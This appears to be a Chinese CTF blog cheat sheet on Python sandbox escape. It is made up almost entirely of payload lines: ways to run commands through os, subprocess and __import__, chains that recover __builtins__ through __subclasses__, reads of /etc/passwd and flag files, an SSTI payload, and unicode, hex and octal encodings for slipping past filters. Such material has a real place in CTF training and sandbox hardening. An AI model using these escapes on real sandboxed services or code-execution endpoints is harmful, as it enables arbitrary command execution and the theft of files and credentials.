九、Python沙箱[执行命令、读取信息、代码任意执行、绕过技巧]

一、执行命令

1.需要导入

os.system("ls") # 自动打印,返回值为成功为0
os.popen("ls").read() # 不自动打印,返回值为执行命令的内容
commands.getstatusoutput("ls") # python2中可使用,返回值为执行命令的内容
commands.getoutput("ls")# python2中可使用,返回值为执行命令的内容
subprocess.call("ls", shell=True)# 自动打印,返回值为0
pty.spawn("ls") # 需要在Linux上才可使用,自动打印,返回值为0
platform.os.system("ls")# 需要在Linux上才可使用,自动打印,返回值为0
pdb.os.system("ls")# 需要在Linux上才可使用,自动打印,返回值为0
importlib.import_module("os").system("ls")# 需要在Linux上才可使用,自动打印,返回值为0
importlib.__import__("os").system("ls")#自动打印,返回值为0
imp.os.system("ls")#自动打印,返回值为0
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")# 具体python版本可以爆破python3.X自动打印,返回值为0
imp.sys.modules["os"].system("ls")#自动打印,返回值为0
sys.modules["os"].system("ls")#自动打印,返回值为0

2.无需导入

__import__("os").system("ls")#自动打印,返回值为0
__builtins__.__import__("os").system("ls")#自动打印,返回值为0
__builtins__.__dict__['__import__']("os").system("ls")#自动打印,返回值为0

## 下面几个为__builtins__替换值到##结束【仅适用于Python3】
1. print.__self__.__import__("os").system("ls")
2. dir.__self__.__import__("os").system("ls")
3. globals.__self__.__import__("os").system("ls")
4. locals.__self__.__import__("os").system("ls")
5. len.__self__.__import__("os").system("ls")
6. __build_class__.__self__.__import__("os").system("ls")
7. # get_flag为函数名
def get_flag():
    pass
d = get_flag.__globals__['__builtins__'].__import__("os").system("ls")
## 结束

## 下面几个为__builtins__替换值到##结束【仅适用于Python2】
1. ().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
2. ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
3. ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
## 结束


# 下面命令利用的是<class 'warnings.catch_warnings'>在python3.8位于146号位置,这个位置不固定python3.9位于140号位置,建议爆破
().__class__.__bases__[0].__subclasses__()[146]()._module.__builtins__['__import__']('os').system('ls')
## 使用__subclasses__()的不同姿势
1. "".__class__.__base__.__subclasses__()
2. [].__class__.__base__.__subclasses__()
3. {}.__class__.__base__.__subclasses__()
4. ().__class__.__base__.__subclasses__()
5. (1).__class__.__base__.__subclasses__()
6. bool.__class__.__base__.__subclasses__()
7. print.__class__.__base__.__subclasses__()
8. open.__class__.__base__.__subclasses__()
9. "".__class__.__bases__[0].__subclasses__()
10. "".__class__.__mro__[1].__subclasses__()
11. "".__getattribute__("__class__").mro()[1].__subclasses__()
12. "".__getattribute__("__class__").__base__.__subclasses__()
## 结束

二、读取信息

open("/etc/passwd").read()
# 这里__subclasses__()[40] 40这个位置注意点跟上面一样要各位注意不同版本python此值不一样,找类为<type 'file'>
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
__builtins__["open"]("/etc/passwd").read()
__import__('os').popen('cat /f*').read()
# 包括上面__builtins__平替开头的都可以
__builtins__.__import__("os").popen('cat /f*').read()
# __subclasses__平替都可以,注意146可能根据python版本不同而不同
().__class__.__bases__[0].__subclasses__()[146]()._module.__builtins__['__import__']('os').popen('cat /f*').read()

三、代码任意执行

解释:代码任意执行简而言之就是利用现有程序可调用的python库去执行一些危险的操作例如"".__class__.__base__.__subclasses__()打印里面的内容如下,里面有很多的危险类我们可以用来构造,例如().__class__.__bases__[0].__subclasses__()[146]()._module.__builtins__['__import__']('os').system('ls')其实就是用此方法构造来的(注意146可能根据python版本不同而不同)

主要思想:寻找osevalpopen

含有eval的类:

warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize

实践例子:

  1. 发现程序可以用gmpy2函数,先查看其下面可用的类
dir(gmpy2)
发现有__builtins__\
  1. 初步构造
gmpy2.__builtins__['__import__']('os').system('ls')
gmpy2.__builtins__['eval']('eval(request.args["1"]')

四、绕过技巧

1.拼接绕过

{{().__class__.__bases__[0].__subclasses__()[40]('/fl'+'ag').read()}}

2.编码绕过

2.1 Unicode编码

编码前:
import gmpy2
gmpy2.__builtins__['eval']('eval("print(123)")')
编码后:
import gmpy2
gmpy2.__builtins__['\u0065\u0076\u0061\u006c']('\u0065\u0076\u0061\u006c\u0028\u0022\u0070\u0072\u0069\u006e\u0074\u0028\u0031\u0032\u0033\u0029\u0022\u0029')

2.2 十六进制编码

脚本:

text = "__import__"
hex_representation = ''.join([f'\\x{char.encode().hex()}' for char in text])
print(hex_representation)
编码前:
import gmpy2
gmpy2.__builtins__['eval']('eval("print(123)")')
编码后:
import gmpy2
gmpy2.__builtins__['\x65\x76\x61\x6c']('\x65\x76\x61\x6c\x28\x22\x70\x72\x69\x6e\x74\x28\x31\x32\x33\x29\x22\x29')

2.3 八进制编码

脚本:

text = '__import__("os").popen("cat /flag").read()'
oct_representation = ''.join([f'\\{ord(char):03o}' for char in text])
print(oct_representation)
编码前:
import gmpy2
gmpy2.__builtins__['eval']('eval("print(123)")')
编码后:
import gmpy2
gmpy2.__builtins__['\145\166\141\154']('\145\166\141\154\050\042\160\162\151\156\164\050\061\062\063\051\042\051')

参考:https://xz.aliyun.com/t/11090?time__1311=mqmx0DyDuDBGuD0vo4%2Bxao5D%3DaG%3Dqta4D

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值